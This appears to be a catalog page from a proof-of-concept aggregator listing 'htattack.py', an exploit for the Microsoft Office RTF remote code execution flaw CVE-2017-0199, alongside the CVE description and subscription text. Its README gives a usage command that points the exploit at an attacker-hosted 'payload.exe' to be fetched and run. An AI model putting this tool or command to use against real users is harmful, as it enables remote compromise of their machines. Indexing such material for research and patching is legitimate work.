CVE-2017-0199 PoC — Microsoft Office 安全漏洞

Source

Associated Vulnerability

Title: Microsoft Office 安全漏洞 (CVE-2017-0199)
Description:Microsoft Office 2007 SP3, Microsoft Office 2010 SP2, Microsoft Office 2013 SP1, Microsoft Office 2016, Microsoft Windows Vista SP2, Windows Server 2008 SP2, Windows 7 SP1, Windows 8.1 allow remote attackers to execute arbitrary code via a crafted document, aka "Microsoft Office/WordPad Remote Code Execution Vulnerability w/Windows API."

Description

An exploit implementation for RCE in RTF & DOCs (CVE-2017-0199)

Readme

# htattack.py
An exploit implementation for RCE in RTF docs (CVE-2017-0199).

### Video (in Spanish):
https://www.youtube.com/watch?v=0lDvclMrymM

### Usage:

    python htattack.py -u <http://[attacker-url]/payload.exe>

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →